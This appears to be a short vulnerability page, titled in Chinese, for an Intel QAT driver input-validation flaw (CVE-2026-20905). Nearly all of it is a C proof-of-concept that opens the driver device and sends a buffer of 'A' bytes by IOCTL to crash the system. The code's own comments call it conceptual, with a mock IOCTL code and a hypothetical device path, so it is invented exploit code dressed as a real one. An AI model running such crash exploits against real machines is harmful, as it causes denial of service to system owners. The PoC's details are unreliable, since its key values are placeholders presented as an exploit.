CVE-2026-20905 Intel QAT驱动输入验证漏洞

/* * PoC for CVE-2026-20905 (Conceptual) * This code demonstrates how a lack of input validation in Ring 3 * might lead to a Denial of Service. * Compile with: gcc poc.c -o poc */ #include <windows.h> #include <stdio.h> // Mock IOCTL code for Intel QAT driver interaction #define INTEL_QAT_IOCTL_VULN 0x80002000 int main() { HANDLE hDevice; char buffer[1024]; DWORD bytesReturned; BOOL result; printf("[*] Attempting to open vulnerable Intel QAT driver...\n"); // Attempt to open the device handle (Path is hypothetical) hDevice = CreateFileA("\\\\.\\IntelQATDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); printf("[-] Ensure the driver is loaded and you have permissions.\n"); return 1; } printf("[+] Device handle opened successfully.\n"); printf("[*] Sending malformed buffer to trigger DoS...\n"); // Fill buffer with pattern 'A' to simulate improper input validation memset(buffer, 'A', sizeof(buffer)); // Send the IOCTL request result = DeviceIoControl(hDevice, INTEL_QAT_IOCTL_VULN, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL); if (!result) { // If the driver crashes here, the system may experience a BSOD or Hang printf("[!] DeviceIoControl failed. This might indicate a crash (DoS). Error: %d\n", GetLastError()); } else { printf("[-] Request succeeded unexpectedly. Vulnerability not triggered.\n"); } CloseHandle(hDevice); return 0; }